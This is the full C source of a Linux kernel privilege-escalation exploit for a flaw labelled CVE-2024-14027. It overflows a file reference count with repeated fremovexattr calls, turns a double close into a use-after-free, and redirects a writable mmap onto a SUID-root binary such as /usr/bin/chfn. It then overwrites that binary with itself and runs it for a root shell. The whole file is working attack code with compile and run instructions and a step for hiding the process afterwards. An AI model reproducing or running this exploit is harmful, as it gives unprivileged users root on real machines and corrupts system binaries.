/* * exploit_dc.c — CVE-2024-14027 → root shell via SUID binary overwrite * * Double-close technique adapted from CVE-2022-22942-dc.c (minipli). * * Strategy: * 1. Overflow f_count via fremovexattr → free struct file (dangling_fd stale) * 2. Open temp files O_RDWR → one reallocates the freed slab * 3. Identify match via stale fd (fcntl + fstat inode compare) * 4. mmap the match (PROT_WRITE, MAP_SHARED) — lazy, no pages faulted * 5. Close all temp fds + close(dangling_fd) → extra fput → struct file freed again * 6. Open SUID target O_RDONLY → reallocate slab with SUID's struct file * 7. memcpy through mmap → page faults go to SUID's page cache → overwrites it * 8. exec overwritten SUID → root shell * * When executed as the overwritten SUID binary (euid==0), spawns /bin/sh. * * Compile: gcc -m32 -O2 -o exploit_dc exploit_dc.c * (dynamic link — binary must fit inside the SUID target) * * Run: ./exploit_dc [suid_target] (default: /usr/bin/chfn) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define TARGET_LEAKS 0xFFFFFFFEUL #define SLACK 10000000UL #define NUM_WORKERS 3 #define STACK_SIZE (64 * 1024) #define NUM_SPRAY 256 #define MAX_DC_RETRIES 20 #define SUID_TARGET "/usr/bin/chfn" #define TEMP_PREFIX "/var/tmp/.xtmp" static volatile unsigned long leak_count; static volatile int go; static volatile int stop_workers; static int target_fd; static int dangling_fd; /* ------------------------------------------------------------------ */ /* fremovexattr via int 0x80 */ /* ------------------------------------------------------------------ */ static inline long fast_fremovexattr(int fd, const void *name) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(237), "b"(fd), "c"(name) : "memory"); return ret; } /* ------------------------------------------------------------------ */ /* Leak worker */ /* ------------------------------------------------------------------ */ static int leak_worker(void *arg) { unsigned long local = 0; int fd = target_fd; (void)arg; cpu_set_t all; CPU_ZERO(&all); for (int i = 0; i < 4; i++) CPU_SET(i, &all); sched_setaffinity(0, sizeof(all), &all); while (!go) __asm__ volatile("pause"); while (!stop_workers) { fast_fremovexattr(fd, (const void *)0x1UL); local++; if ((local & 0xFFFFF) == 0) __sync_fetch_and_add(&leak_count, 0x100000); } __sync_fetch_and_add(&leak_count, local & 0xFFFFF); _exit(0); return 0; } /* ------------------------------------------------------------------ */ /* Idle child for fdget slow-path during overflow */ /* ------------------------------------------------------------------ */ static int idle_fn(void *arg) { (void)arg; for (;;) pause(); return 0; } /* ------------------------------------------------------------------ */ /* Map a file read-only and pre-fault all pages */ /* ------------------------------------------------------------------ */ static void *map_file(const char *path, size_t *len) { struct stat sb; int fd; fd = open(path, O_RDONLY); if (fd < 0) { perror(path); _exit(1); } if (fstat(fd, &sb)) { perror("fstat"); _exit(1); } *len = sb.st_size; void *addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { perror("mmap"); _exit(1); } /* Pre-fault to avoid page-ins during the critical path */ for (size_t i = 0; i < *len; i += 4096) *(volatile char *)(addr + i); close(fd); return addr; } /* ------------------------------------------------------------------ */ /* Main */ /* ------------------------------------------------------------------ */ int main(int argc, char **argv) { pid_t worker_pids[NUM_WORKERS]; /* ---- Stage 0: If we ARE the overwritten SUID binary, get root ---- */ if (!geteuid()) { setuid(0); setgid(0); execve("/bin/sh", (char *const []){"/bin/sh", NULL}, NULL); _exit(1); } if (!getuid()) { fprintf(stderr, "[!] Don't run as root — run as unprivileged user\n"); return 1; } setbuf(stdout, NULL); char *suid_path = argc > 1 ? argv[1] : SUID_TARGET; printf("[*] CVE-2024-14027 → root shell (double-close technique)\n"); printf("[*] Target SUID binary: %s\n\n", suid_path); /* ---- Verify SUID target ---- */ struct stat suid_st; if (stat(suid_path, &suid_st) != 0) { printf("[!] %s not found\n", suid_path); return 1; } if (suid_st.st_uid != 0 || !(suid_st.st_mode & 04111)) { printf("[!] %s is not SUID root\n", suid_path); return 1; } /* ---- Map exploit binary and SUID target ---- */ size_t prog_size, suid_size; const void *prog_addr = map_file("/proc/self/exe", &prog_size); const void *suid_addr = map_file(suid_path, &suid_size); if (suid_size < prog_size) { printf("[!] %s (%zu bytes) too small for exploit (%zu bytes)\n", suid_path, suid_size, prog_size); printf("[!] Compile without -static or choose a larger target\n"); return 1; } printf("[+] Exploit: %zu bytes, %s: %zu bytes — OK\n", prog_size, suid_path, suid_size); /* ---- Pin to CPU 0 ---- */ cpu_set_t cpu0; CPU_ZERO(&cpu0); CPU_SET(0, &cpu0); sched_setaffinity(0, sizeof(cpu0), &cpu0); /* ---- Create pipes FIRST (SLUB isolation) ---- */ int pipes[4][2]; for (int i = 0; i < 4; i++) { if (pipe(pipes[i]) < 0) { perror("[!] pipe"); return 1; } } printf("[+] Pipes created (8 struct files on cpu_slab)\n"); /* ---- Open target, dup → f_count = 2 ---- */ target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666); if (target_fd < 0) { perror("[!] open target"); return 1; } dangling_fd = dup(target_fd); if (dangling_fd < 0) { perror("[!] dup"); return 1; } printf("[+] target_fd=%d dangling_fd=%d (f_count=2)\n", target_fd, dangling_fd); /* ---- Clone idle child (slow-path fdget during overflow) ---- */ pid_t idle_child; { void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (stack == MAP_FAILED) { perror("[!] mmap stack"); return 1; } idle_child = clone(idle_fn, (char *)stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL); if (idle_child < 0) { perror("[!] clone idle"); return 1; } } /* ---- Overflow f_count ---- */ int fast_mode = (access("/tmp/fast_mode", F_OK) == 0); if (fast_mode) { printf("[*] FAST MODE: 100 leaks + sync() for GDB\n"); for (int i = 0; i < 100; i++) fast_fremovexattr(target_fd, (const void *)0x1UL); printf("[*] f_count = 102. Calling sync() — attach GDB now\n"); fflush(NULL); sync(); printf("[*] Continuing after GDB...\n"); } else { printf("[*] Spawning %d leak workers...\n", NUM_WORKERS); for (int i = 0; i < NUM_WORKERS; i++) { void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; } worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL); if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; } } unsigned long target_bulk = TARGET_LEAKS - SLACK; printf("[*] Need %lu leaks (%.2fG)\n", TARGET_LEAKS, TARGET_LEAKS / 1e9); go = 1; __sync_synchronize(); unsigned long last = 0; while (leak_count < target_bulk) { usleep(2000000); unsigned long cur = leak_count; double pct = 100.0 * cur / TARGET_LEAKS; double rate = (cur - last) / 2.0 / 1e6; unsigned long remaining = TARGET_LEAKS - cur; double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999; printf("\r[*] %luM / 4294M (%.1f%%) %.1fM/s ETA %.0fs ", cur / 1000000, pct, rate, eta); last = cur; } stop_workers = 1; __sync_synchronize(); for (int i = 0; i < NUM_WORKERS; i++) waitpid(worker_pids[i], NULL, 0); unsigned long done = leak_count; printf("\n[*] Workers done: %lu leaks\n", done); if (done < TARGET_LEAKS) { unsigned long remain = TARGET_LEAKS - done; printf("[*] Finishing %lu precisely...\n", remain); for (unsigned long i = 0; i < remain; i++) { fast_fremovexattr(target_fd, (const void *)0x1UL); if ((i & 0xFFFFF) == 0 && i > 0) printf("\r[*] precise: %luM / %luM ", i / 1000000, remain / 1000000); } printf("\n"); } else { unsigned long extra = done - TARGET_LEAKS; unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL; printf("[*] Overshot by %lu, fixup %lu leaks...\n", extra, fixup); for (unsigned long i = 0; i < fixup; i++) fast_fremovexattr(target_fd, (const void *)0x1UL); } } /* ---- Kill idle child → fast-path fdget ---- */ kill(idle_child, SIGKILL); waitpid(idle_child, NULL, 0); printf("[+] Overflow done, fast-path fdget enabled\n\n"); /* ================================================================ * DOUBLE-CLOSE TECHNIQUE * ================================================================ */ /* Phase 1: Free the struct file via fork helper. * * After overflow, f_count=0 (wrapped). close() alone does * dec_and_test(0→0xFFFFFFFF) which is NOT zero → no __fput. * * Fix: fork() calls get_file() with unconditional atomic_long_inc * on every fd → bumps f_count from 0 to 2 (target_fd + dangling_fd). * Child closes both → dec_and_test brings 2→1→0 → __fput → freed. * (Same mechanism exploit.c uses implicitly via spawner/closer forks.) */ printf("[*] Phase 1: fork helper to free struct file\n"); { pid_t free_pid = fork(); if (free_pid == 0) { close(target_fd); close(dangling_fd); _exit(0); } if (free_pid < 0) { perror("[!] fork"); return 1; } waitpid(free_pid, NULL, 0); } /* Clean up parent's target_fd (fput on freed memory — harmless * since slot is not yet reused; dec_and_test(0→-1) ≠ 0). */ close(target_fd); /* Phase 2+3: Spray temp files and probe stale fd, with retry loop. * After 22 min of overflow, the cpu_slab may have changed; the freed * object might land on a partial page. We spray, check, and if a * kernel-internal file grabbed the slot, close everything, wait for * that file to be freed, and try again. */ int temp_fds[NUM_SPRAY]; int match_fd = -1; int match_idx = -1; char stale_fd_path[64]; snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", dangling_fd); for (int attempt = 0; attempt < MAX_DC_RETRIES; attempt++) { if (attempt == 0) { /* First attempt: short RCU grace period */ printf("[*] Waiting for RCU grace period...\n"); usleep(200000); } else { printf("[*] Retry %d/%d: re-spraying after 200ms...\n", attempt, MAX_DC_RETRIES); usleep(200000); } printf("[*] Phase 2: Opening %d temp files O_RDWR\n", NUM_SPRAY); for (int i = 0; i < NUM_SPRAY; i++) { char path[64]; snprintf(path, sizeof(path), TEMP_PREFIX "_%d", i); temp_fds[i] = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600); if (temp_fds[i] < 0) { perror("[!] open temp"); return 1; } unlink(path); if (ftruncate(temp_fds[i], prog_size) < 0) { perror("[!] ftruncate"); return 1; } } printf("[*] Phase 3: Probing stale fd %d\n", dangling_fd); /* readlink for diagnostics */ char link_buf[256]; ssize_t link_len = readlink(stale_fd_path, link_buf, sizeof(link_buf) - 1); if (link_len > 0) { link_buf[link_len] = '\0'; printf("[*] readlink → %s\n", link_buf); } int flags = fcntl(dangling_fd, F_GETFL); if (flags < 0) { printf("[-] fcntl failed (errno=%d)\n", errno); for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]); continue; } struct stat stale_sb; if (fstat(dangling_fd, &stale_sb) != 0) { printf("[-] fstat failed\n"); for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]); continue; } printf("[*] ino=%lu dev=(%d,%d) flags=0x%x\n", (unsigned long)stale_sb.st_ino, major(stale_sb.st_dev), minor(stale_sb.st_dev), flags); if ((flags & O_ACCMODE) != O_RDWR) { printf("[-] Not O_RDWR, retrying...\n"); for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]); continue; } match_fd = -1; match_idx = -1; for (int i = 0; i < NUM_SPRAY; i++) { struct stat sb; if (fstat(temp_fds[i], &sb) == 0 && sb.st_ino == stale_sb.st_ino && sb.st_dev == stale_sb.st_dev) { match_fd = temp_fds[i]; match_idx = i; break; } } if (match_fd >= 0) { printf("[+] Match: temp_fds[%d] (fd %d)\n", match_idx, match_fd); break; } printf("[-] No match (slot taken by ino=%lu dev=(%d,%d)), retrying...\n", (unsigned long)stale_sb.st_ino, major(stale_sb.st_dev), minor(stale_sb.st_dev)); for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]); } if (match_fd < 0) { printf("[!] Failed after %d retries — SLUB reuse failed\n", MAX_DC_RETRIES); return 1; } /* Phase 4: mmap the matched temp file. * MAP_SHARED + PROT_WRITE — but DON'T touch the mapping yet. * Pages are faulted lazily; we want them to resolve after the swap. */ printf("[*] Phase 4: Creating writable mmap (%zu bytes)\n", prog_size); void *mmap_addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, match_fd, 0); if (mmap_addr == MAP_FAILED) { perror("[!] mmap"); return 1; } printf("[+] Mapped at %p\n", mmap_addr); /* Close ALL temp fds — mmap holds the last f_count reference */ for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]); /* Phase 5: Double-free. * close(dangling_fd) calls filp_close → fput on the temp file's struct file. * f_count was 1 (only mmap) → now 0 → __fput → struct file freed via RCU. * The mmap's VMA now has a DANGLING vm_file pointer. */ printf("[*] Phase 5: close(dangling_fd) → double free\n"); close(dangling_fd); printf("[*] Waiting for RCU grace period...\n"); usleep(200000); /* Phase 6: Reallocate with SUID target O_RDONLY. * One of these open() calls grabs the freed slab slot. * The mmap's vm_file now points to the SUID binary's struct file. * f_mapping → SUID inode's address_space. */ printf("[*] Phase 6: Opening %s O_RDONLY x%d\n", suid_path, NUM_SPRAY); int suid_fds[NUM_SPRAY]; for (int i = 0; i < NUM_SPRAY; i++) { suid_fds[i] = open(suid_path, O_RDONLY); if (suid_fds[i] < 0) { perror("[!] open suid"); return 1; } } /* Phase 7: Overwrite via mmap. * memcpy triggers page faults → resolved via vm_file->f_mapping * → SUID binary's page cache → writes land in the SUID binary. * The mmap was created with PROT_WRITE (checked at mmap time against * the temp file). The kernel doesn't re-verify after the struct file swap. */ printf("[*] Phase 7: Overwriting %s via mmap (%zu bytes)...\n", suid_path, prog_size); memcpy(mmap_addr, prog_addr, prog_size); /* Close SUID fds */ for (int i = 0; i < NUM_SPRAY; i++) close(suid_fds[i]); /* Phase 8: Verify and exec. * Re-read the SUID binary to check if overwrite succeeded. */ size_t verify_size; const void *verify_addr = map_file(suid_path, &verify_size); if (memcmp(verify_addr, prog_addr, prog_size) == 0) { printf("\n[+] *** %s successfully overwritten! ***\n", suid_path); printf("[*] Spawning root shell...\n\n"); execve(suid_path, (char *const []){suid_path, NULL}, NULL); perror("[!] execve"); } else { printf("[-] Overwrite verification failed — SUID binary unchanged\n"); printf("[-] Page cache may not have been swapped correctly\n"); } /* Become a ghost to avoid VFS refcount warning on exit * (dangling mmap holds a freed struct file reference) */ setsid(); close(0); close(1); close(2); sigset_t set; sigfillset(&set); sigprocmask(SIG_BLOCK, &set, NULL); for (;;) pause(); return 1; }